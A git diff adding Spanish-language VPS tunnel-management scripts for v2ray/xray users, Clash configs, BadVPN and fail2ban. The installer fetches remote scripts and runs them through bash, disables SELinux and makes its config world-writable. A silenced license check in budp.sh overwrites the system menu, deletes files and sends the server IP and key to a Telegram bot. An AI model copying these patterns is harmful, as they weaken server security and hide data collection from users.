host=$(cat $configt | jq -r .ssl.sni) + trojanport=$(cat $configt | jq -r .local_port) + UUID=$(cat $configt | jq -r .password[$opcion]) + Usr="$(cat ${user_conf}|grep -w "${UUID}"|cut -d'|' -f1)" + echo "USER ${Usr} : $UUID " + break + done +} + +view_user(){ +config="/etc/v2ray/config.json" +temp="/etc/v2ray/temp.json" +v2rdir="/etc/v2r" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/v2r/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/v2r/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO V2RAY REGISTRADO" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "Escoje Tu Usuario : " 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && break + let opcion-- + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uid=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + net=$(jq '.inbounds[].streamSettings.network' $config) + parche=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $path = null ]] && parche='' + v2port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + echo "Usuario $ps Seleccionado" + break + done +} + +_view_userXR(){ +config="/etc/xray/config.json" +temp="/etc/xray/temp.json" +v2rdir="/etc/xr" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/xr/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/xr/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" + unset seg + seg=$(date +%s) + while : + do + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO XRAY REGISTRADO" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "Escoje Tu Usuario : " 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3s && continue + [[ $opcion = 0 ]] && break + let opcion-- + psX=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $psX = null ]] && ps="default" + uidX=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiidX=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + addX=$(jq '.inbounds[].domain' $config) && [[ $addX = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + hostX=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $hostX = null ]] && hostX='' + netX=$(jq '.inbounds[].streamSettings.network' $config) + parcheX=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $pathX = null ]] && parcheX='' + v2portX=$(jq '.inbounds[].port' $config) + tlsX=$(jq '.inbounds[].streamSettings.security' $config) + [[ $netX = '"grpc"' ]] && pathX=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || pathX=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addipX=$(wget -qO- ifconfig.me) + echo "Usuario XRAY SERA $psX Seleccionado" + break + done +} + +[[ ! -d /root/.config/clash ]] && fun_insta || fun_ip +clear +[[ -e /root/name ]] && figlet -p -f slant < /root/name || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 â—„â—„<<===== \033[0m" +fileon=$(ls -la /var/www/html | grep "yaml" | wc -l) +filelo=$(ls -la /root/.config/clash | grep "yaml" | wc -l) +cd +msg -bar3 +echo -e "\033[1;37m ✬ Linux Dist: $(less /etc/issue.net)\033[0m" +msg -bar3 +echo -e "\033[1;37m ✬ Ficheros Online: $fileon ✬ Ficheros Locales: $filelo\033[0m" +msg -bar3 +echo -e "\033[1;37m - Menu Iterativo Clash for Android - ChumoGH \033[0m" +msg -bar3 +echo -e "\033[1;37mSeleccione : Para Salir Ctrl + C o 0 Para Regresar\033[1;33m" +unset yesno +echo -e " DESEAS CONTINUAR CON LA CARGA DE CONFIG CLASH?" +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +unset yesno numwt +#[[ -e /root/name ]] && figlet -p -f slant < /root/name || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 â—„â—„<<===== \033[0m" +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m ✬ Ingresa tu Whatsapp junto a tu codigo de Pais" +read -p " Ejemplo: +593987072611 : " numwt +if [[ -z $numwt ]]; then +numwt='+593987072611' +fi +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33m ✬ Ingresa Clase de Servidor ( Gratis - PREMIUM )" +read -p " Ejemplo: PREMIUM : " srvip +if [[ -z $srvip ]]; then +srvip="NewADM" +fi + while : + do + [[ -z ${opcion} ]] || break + clear + echo -e " ESCOJE TU METODO DE SELECCION " + echo -e " " + echo -e " SINO CONOCES DE ESTO, ESCOJE 2 " + echo -e " " + msg -bar + echo -e "1 - SELECTOR RULES" + echo -e "2 - SELECTOR GLOBAL" + msg -bar + echo -e " 0) CANCELAR" + msg -bar + read -p " ESCOJE : " opcion + case $opcion in + 1)configINIT_rule "$opcion" + break;; + 2)configINIT_global "$opcion" + break;; + 0) break;; + *) echo -e "\n selecione una opcion del 0 al 2" && sleep 0.3s;; + esac + done +INITClash +fi diff --git a/Recursos/down-vxray.sh b/Recursos/down-vxray.sh new file mode 100644 index 0000000..c0c5b54 --- /dev/null +++ b/Recursos/down-vxray.sh @@ -0,0 +1,174 @@ +#!/bin/bash +source msg +BEIJING_UPDATE_TIME=3 +BEGIN_PATH=$(pwd) +INSTALL_WAY=0 +HELP=0 +REMOVE=0 +CHINESE=0 +BASE_SOURCE_PATH="https://multi.netlify.app" +UTIL_PATH="/etc/v2ray_util/util.cfg" +UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg" +BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray" +CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh" +#Centos 临时取消别名 +[[ -f /etc/redhat-release && -z $(echo $SHELL|grep zsh) ]] && unalias -a +[[ -z $(echo $SHELL|grep zsh) ]] && ENV_FILE=".bashrc" || ENV_FILE=".zshrc" + +[[ $(whoami) != 'root' ]] && { + msg -verm 'se requiere ser usuario root para ejecutar el svript!' + rm -rf `pwd`/$0 + exit +} || { + [[ ! -e /var/ins ]] && { + if [[ `command -v apt-get` ]];then + PACKAGE_MANAGER='apt-get' + elif [[ `command -v dnf` ]];then + PACKAGE_MANAGER='dnf' + elif [[ `command -v yum` ]];then + PACKAGE_MANAGER='yum' + else + msg -verm 'sistema operativo no soportado' + exit 1 + fi + touch /var/ins + } +} + +if [[ -z $1 ]]; then + echo -e "\e[1;97muso: \e[1;93m$0 \e[1;97m[\e[35m-h\e[1;97m|\e[35m--help\e[1;97m] [\e[35m-k\e[1;97m|\e[35m--keep\e[1;97m] [\e[35m--remove\e[1;97m]\n \e[93mEjemplos:" + echo -e " \e[35m-h, --help \e[1;97m| Menú de ayuda" + echo -e " \e[35m-k, --keep \e[1;97m| Restaurar archivo de instalación." + echo -e " \e[35m --remove \e[1;97m| Remover configuraciones v2ray/xray." +fi + +case $1 in + -k | --keep);; + -h | --help);; + --instal) + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi + echo -e "${Info} Sincronizando tiempo!.. ${Font}" + if [[ `command -v ntpdate` ]];then + ntpdate pool.ntp.org + elif [[ `command -v chronyc` ]];then + chronyc -a makestep + fi + + if [[ $? -eq 0 ]];then + echo -e "${OK} Tiempo Sync Exitosamente ${Font}" + echo -e "${OK} Ahora: `date -R`${Font}" + fi + [[ ! $(type pip 2>/dev/null) ]] && colorEcho $RED "pip no install!" && exit 1 + + [[ -e /etc/profile.d/iptables.sh ]] && rm -f /etc/profile.d/iptables.sh + + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep iptables` ]];then + LOCAL_IP=`curl -s http://api.ipify.org 2>/dev/null` + [[ `echo $LOCAL_IP|grep :` ]] && IPTABLE_WAY="ip6tables" || IPTABLE_WAY="iptables" + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep "/bin/bash"` ]];then + echo "#!/bin/bash" >> $RC_FILE + fi + if [[ -z `cat $RC_SERVICE|grep "\[Install\]"` ]];then + cat >> $RC_SERVICE << EOF + +[Install] +WantedBy=multi-user.target +EOF + systemctl daemon-reload + fi + echo "[[ -e /root/.iptables ]] && $IPTABLE_WAY-restore -c < /root/.iptables" >> $RC_FILE + chmod +x $RC_FILE + systemctl restart rc-local + systemctl enable rc-local + + $IPTABLE_WAY-save -c > /root/.iptables + fi + pip install -U v2ray_util + if [[ -e $UTIL_PATH ]];then + [[ -z $(cat $UTIL_PATH|grep lang) ]] && echo "lang=en" >> $UTIL_PATH + else + mkdir -p /etc/v2ray_util + curl $UTIL_CFG > $UTIL_PATH + fi + [[ $CHINESE == 1 ]] && sed -i "s/lang=en/lang=zh/g" $UTIL_PATH + rm -f /usr/local/bin/v2ray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/v2ray + rm -f /usr/local/bin/xray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/xray + [[ -e /etc/bash_completion.d/v2ray.bash ]] && rm -f /etc/bash_completion.d/v2ray.bash + [[ -e /usr/share/bash-completion/completions/v2ray.bash ]] && rm -f /usr/share/bash-completion/completions/v2ray.bash + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/v2ray + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/xray + if [[ -z $(echo $SHELL|grep zsh) ]];then + source /usr/share/bash-completion/completions/v2ray + source /usr/share/bash-completion/completions/xray + fi + bash <(curl -L -s https://multi.netlify.app/go.sh) --version v4.45.2 + [[ $(grep v2ray ~/$ENV_FILE) ]] && sed -i '/v2ray/d' ~/$ENV_FILE && source ~/$ENV_FILE + [[ -z $(grep PYTHONIOENCODING=utf-8 ~/$ENV_FILE) ]] && echo "export PYTHONIOENCODING=utf-8" >> ~/$ENV_FILE && source ~/$ENV_FILE + v2ray new + + echo "" + clear&&clear + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + [[ ! -e $config ]] && touch $config + chmod 777 $config + msg -bar + if [[ $(v2ray restart|grep success) ]]; then + [[ $(which v2ray) ]] && v2ray info + msg -bar + echo -e "\033[1;32mINSTALACION FINALIZADA" + else + [[ $(which v2ray) ]] && v2ray info + msg -bar + print_center -verm2 "INSTALACION FINALIZADA" + echo -e "\033[1;31m " 'Pero fallo el reinicio del servicio v2ray' + echo -e " LEA DETALLADAMENTE LOS MENSAJES " + echo -e "" + fi + cd ${BEGIN_PATH} + msg -verd "multi-v2ray install success!\n" + echo -e "Por favor verifique el log" + enter + ;; + --remove) + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove >/dev/null 2>&1 + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove -x >/dev/null 2>&1 + for delete in `echo "/etc/v2ray /var/log/v2ray /etc/xray /var/log/xray"`; do + ( + rm -rf "$delete" + ) &> /dev/null + done + bash <(curl -L -s https://multi.netlify.app/v2ray_util/global_setting/clean_iptables.sh) + pip uninstall v2ray_util -y + for delete in `echo "/usr/share/bash-completion/completions/v2ray.bash /usr/share/bash-completion/completions/v2ray /usr/share/bash-completion/completions/xray /etc/bash_completion.d/v2ray.bash /usr/local/bin/v2ray /etc/v2ray_util /etc/profile.d/iptables.sh /root/.iptables"`; do + ( + rm -rf "$delete" + ) &> /dev/null + done + crontab -l|sed '/SHELL=/d;/v2ray/d'|sed '/SHELL=/d;/xray/d' > crontab.txt + crontab crontab.txt >/dev/null 2>&1 + rm -f crontab.txt >/dev/null 2>&1 + if [[ ${PACKAGE_MANAGER} == 'dnf' || ${PACKAGE_MANAGER} == 'yum' ]];then + systemctl restart crond >/dev/null 2>&1 + else + systemctl restart cron >/dev/null 2>&1 + fi + sed -i '/v2ray/d' ~/$ENV_FILE + sed -i '/xray/d' ~/$ENV_FILE + source ~/$ENV_FILE + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + sed -i '/iptables/d' ~/$RC_FILE + msg -bar&&echo -e " $(msg -verd '[✓] módulo v2ray/xray desinstalado correctamente! [✓] ')" +;; +esac + diff --git a/Recursos/ferramentas/badvpn-udpgw-arm b/Recursos/ferramentas/badvpn-udpgw-arm new file mode 100644 index 0000000..88336a8 Binary files /dev/null and b/Recursos/ferramentas/badvpn-udpgw-arm differ diff --git a/Recursos/ferramentas/badvpn-udpgw-plus b/Recursos/ferramentas/badvpn-udpgw-plus new file mode 100644 index 0000000..1637b08 Binary files /dev/null and b/Recursos/ferramentas/badvpn-udpgw-plus differ diff --git a/Recursos/ferramentas/budp.sh b/Recursos/ferramentas/budp.sh new file mode 100644 index 0000000..6192542 --- /dev/null +++ b/Recursos/ferramentas/budp.sh @@ -0,0 +1,184 @@ +#!/bin/bash +#01/06/2022 +# UPDATE 26/11/2023 +#By @drowkid01|Plus + +function chekKEY { +[[ -z ${IP} ]] && IP=$(cat < /bin/ejecutar/IPcgh) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +_double=$(curl -sSL "https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT") +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ¡¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ¡¡ FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n¡¡ ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF + +rm -f /etc/folteto +rm -f /etc/adm-lite/menu* + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" INSECTO DETECTADO EN BadVPN Plus\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" Key : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" HORA : $(printf '%(%D-%H:%M:%S)T')\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot ADMcgh de keyS ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +BadVPN () { +msg -bar +pid_badvpn=$(ps x | grep badvpn | grep -v grep | awk '{print $1}') +unset bot_ini +if [ "$pid_badvpn" = "" ]; then +msg -ama " FUNCION EXPERIMENTAL AGREGARA PUERTO 7300 en BADVPN-UDP" +msg -ama " ADICIONAL APERTURARENOS EL 7200 PARA UN DUAL CHANNEL" +#msg -ama " MAXIMO DE 100 CONEXIONES POR CLIENTE" +msg -bar +[[ $(dpkg --get-selections|grep -w "toilet"|head -1) ]] || apt-get install toilet -y &>/dev/null + if [[ ! -e /bin/badvpn-udpgw ]]; then + echo -ne " DESCARGANDO BINARIO UDP .." + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + chekKEY &> /dev/null 2>&1 + if wget -O /bin/badvpn-udpgw https://github.com/emirjorge/Script-Z/raw/master/CHUMO/Recursos/ferramentas/badvpn-udpgw-arm &>/dev/null ; then + chmod 777 /bin/badvpn-udpgw + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion canselada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } || { + chekKEY &> /dev/null 2>&1 + if wget -O /bin/badvpn-udpgw https://github.com/emirjorge/Script-Z/raw/master/CHUMO/Recursos/ferramentas/badvpn-udpgw-plus &>/dev/null ; then + chmod 777 /bin/badvpn-udpgw + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion canselada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } + msg -ama " ACTIVANDO BADVPN Plus" + msg -bar + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + fi + ( + screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10 #--client-socket-sndbuf 10000 + screen -dmS badUDP72 $(which badvpn-udpgw) --listen-addr 127.0.0.1:7200 --max-clients 1000 --max-connections-for-client 10 #--client-socket-sndbuf 10000 +# screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10 +# screen -dmS badUDP72 $(which badvpn-udpgw) --listen-addr 127.0.0.1:7200 --max-clients 1000 --max-connections-for-client 10 + ) || msg -ama " Error al Activar BadVPN" + sleep 2s + msg -bar + [[ ! -z $(ps x | grep badvpn | grep -v grep ) ]] && { + msg -verd " ACTIVADO CON EXITO" + msg -bar + echo -e " PREGUNTA PREVIA POR 15 SEGUNDOS !!!" + msg -bar + read -t 15 -p " $(echo -e "\033[1;97m Poner en linea despues de un reinicio [s/n]: ")" -e -i "s" bot_ini + msg -bar + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + tput cuu1 && tput dl1 + [[ $bot_ini = @(s|S|y|Y) ]] && { + [[ $(grep -wc "badvpn" /bin/autoboot) = '0' ]] && { + echo -e " AUTOREINICIO EN INACTIVIDAD PREACTIVADO !! " && sleep 2s + tput cuu1 && tput dl1 + echo -e "netstat -tlpn | grep -w 7300 > /dev/null || { screen -r -S 'badvpn' -X quit; screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10; }" >>/bin/autoboot + echo -e "netstat -tlpn | grep -w 7200 > /dev/null || { screen -r -S 'badUDP72' -X quit; screen -dmS badUDP72 $(which badvpn-udpgw) --listen-addr 127.0.0.1:7200 --max-clients 10000 --max-connections-for-client 10; }" >>/bin/autoboot + } || { + sed -i '/badvpn/d' /bin/autoboot + echo -e " AUTOREINICIO EN INACTIVIDAD REACTIVADO !! " && sleep 2s + tput cuu1 && tput dl1 + echo -e "netstat -tlpn | grep -w 7300 > /dev/null || { screen -r -S 'badvpn' -X quit; screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10; }" >>/bin/autoboot + echo -e "netstat -tlpn | grep -w 7200 > /dev/null || { screen -r -S 'badUDP72' -X quit; screen -dmS badUDP72 $(which badvpn-udpgw) --listen-addr 127.0.0.1:7200 --max-clients 1000 --max-connections-for-client 10; }" >>/bin/autoboot + } + #------------------------- +} || sed -i '/badvpn-udpgw/d' /bin/autoboot +} + +else +clear&&clear +msg -bar +msg -ama " Administrador BadVPN UDP | @drowkid01•Plus" +msg -bar +menu_func "AÑADIR 1+ PUERTO BadVPN $_pid" "$(msg -verm2 "Detener BadVPN")" #"$(msg -ama "Reiniciar BadVPN")" + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 2) + case $opcion in + 1) +msg -bar +msg -ama " FUNCION EXPERIMENTAL AGREGARA PUERTO en BADVPN-UDP" +#msg -ama " ADICIONAL APERTURARENOS EL 7200 PARA UN DUAL CHANNEL" +#msg -ama " MAXIMO DE 100 CONEXIONES POR CLIENTE" +msg -bar +read -p " DIJITA TU PUERTO CUSTOM PARA BADVPN :" -e -i "7100" port +echo -e " VERIFICANDO BADVPN " +msg -bar +screen -dmS badvpn$port /bin/badvpn-udpgw --listen-addr 127.0.0.1:${port} --max-clients 1000 --max-connections-for-client 10 && msg -ama " BadVPN ACTIVADA CON EXITO" || msg -ama " Error al Activar BadVPN" +echo -e "netstat -tlpn | grep -w ${port} > /dev/null || { screen -r -S 'badvpn'$port -X quit; screen -dmS badvpn $(which badvpn-udpgw) --listen-addr 127.0.0.1:${port} --max-clients 1000 --max-connections-for-client 10; }" >>/bin/autoboot +msg -bar +return + ;; + 2) +msg -ama " DESACTIVANDO BADVPN" + msg -bar + kill -9 $(ps x | grep badvpn | grep -v grep | awk '{print $1'}) > /dev/null 2>&1 + killall badvpn-udpgw > /dev/null 2>&1 + sed -i '/badvpn/d' /bin/autoboot + echo -e " AUTOREINICIO EN INACTIVIDAD ELIMINADO !! " && sleep 2s + tput cuu1 && tput dl1 + [[ ! "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -ama " APAGADO EXITOSAMENTE \n" || msg -verm " ERROR AL DETENER BadVPN!! \n" + unset pid_badvpn + msg -bar +return + ;; + 3) exit;; + 0) exit;; + esac +fi +unset pid_badvpn +} +BadVPN +msg -bar +clear&&clear +msg -bar +toilet -f pagga "ChuKK-SCRIPT" | lolcat +msg -bar +return diff --git a/Recursos/ferramentas/fai2ban.sh b/Recursos/ferramentas/fai2ban.sh new file mode 100644 index 0000000..aaf5133 --- /dev/null +++ b/Recursos/ferramentas/fai2ban.sh @@ -0,0 +1,462 @@ +#!/bin/bash +souece msg +failtwoban=$(dpkg -l | grep fail2ban | grep ii) +apache=$(dpkg -l | grep apache2 | grep ii) +squid=$(dpkg -l | grep squid | grep ii) +dropbear=$(dpkg -l | grep dropbear | grep ii) +openssh=$(dpkg -l | grep openssh | grep ii) + +[[ -z $openssh ]] || s1="SSH" +[[ -z $squid ]] || s2="SQUID" +[[ -z $dropbear ]] || s3="DROPBEAR" +[[ -z $apache ]] || s4="APACHE2" + +msg -bar + +#FUN_BAR +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 +tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} + +fail2ban_function () { +if [ "$failtwoban" != "" ]; then +echo -e "${cor[4]} ${txt[143]}" +echo -e "${cor[2]} |1| >${cor[3]} DESINSTALAR SERVICIO" +echo -e "${cor[2]} |2| >${cor[3]} VER REGISTRO DE EVENTOS" +msg -bar +read -p " [1|2]: " lo_og +if [ "$lo_og" = "2" ]; then +cat /var/log/fail2ban.log +fi +if [ "$lo_og" = "1" ]; then +msg -bar +fun_bar "apt-get remove fail2ban -y" +fi +msg -bar +return +fi + +echo -e "${cor[5]} Este es el FAILBAN PROTECTION" +echo -e "${cor[5]} Hecho únicamente para proteger la seguridad del" +echo -e "${cor[5]} Sistema, su objetivo es analizar" +echo -e "${cor[5]} LOGS DE ACCESO y bloquear toda" +echo -e "${cor[5]} acción sospechosa CONTRA EL SERVIDOR" +echo -e "${cor[5]} aumentando en un 90% de su seguridad." +echo -e "${cor[5]} ¿Desea instalar Fail2Ban?" + +msg -bar +read -p " [S/N]: " fail2ban +if [[ "$fail2ban" = "s" || "$fail2ban" = "S" ]]; then +msg -bar +fun_bar "apt-get install fail2ban -y" +cd $HOME +wget -O fail2ban https://github.com/emirjorge/Script-Z/raw/master/CHUMO/Recursos/ferramentas/fail2ban-0.9.4.tar.gz -o /dev/null +tar -xf $HOME/fail2ban +cd $HOME/fail2ban-0.9.4 +fun_bar "./setup.py install" +echo '[INCLUDES] +before = paths-debian.conf +[DEFAULT] +ignoreip = 127.0.0.1/8 +# ignorecommand = /path/to/command +ignorecommand = +bantime = 1036800 +findtime = 3600 +maxretry = 5 +backend = auto +usedns = warn +logencoding = auto +enabled = false +filter = %(__name__)s +destemail = root@localhost +sender = root@localhost +mta = sendmail +protocol = tcp +chain = INPUT +port = 0:65535 +fail2ban_agent = Fail2Ban/%(fail2ban_version)s +banaction = iptables-multiport +banaction_allports = iptables-allports +action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] +action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"] +action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] +action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"] +action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"] + %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] +action_blocklist_de = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"] +action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"] +action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"] +action = %(action_)s' > /etc/fail2ban/jail.local +msg -bar +echo -e "${cor[5]} Fail2ban Sera Instalado" +echo -e "${cor[5]} Siguientes Servicios" +[[ -z $s1 ]] || echo -ne " $s1" +[[ -z $s2 ]] || echo -ne " $s2" +[[ -z $s3 ]] || echo -ne " $s3" +[[ -z $s4 ]] || echo -ne " $s4" +echo -e "" +msg -bar +echo -e "${cor[5]} ¿Confirma la elección?" +read -p " [S/N]: " sim_nao +if [[ "$sim_nao" = "s" || "$sim_nao" = "S" ]]; then +[[ ! -z $s1 ]] && { +echo '[sshd] +enabled = true +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s +[sshd-ddos] +enabled = true +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local +} || { +echo '[sshd] +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s +[sshd-ddos] +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local +} + +[[ ! -z $s2 ]] && { 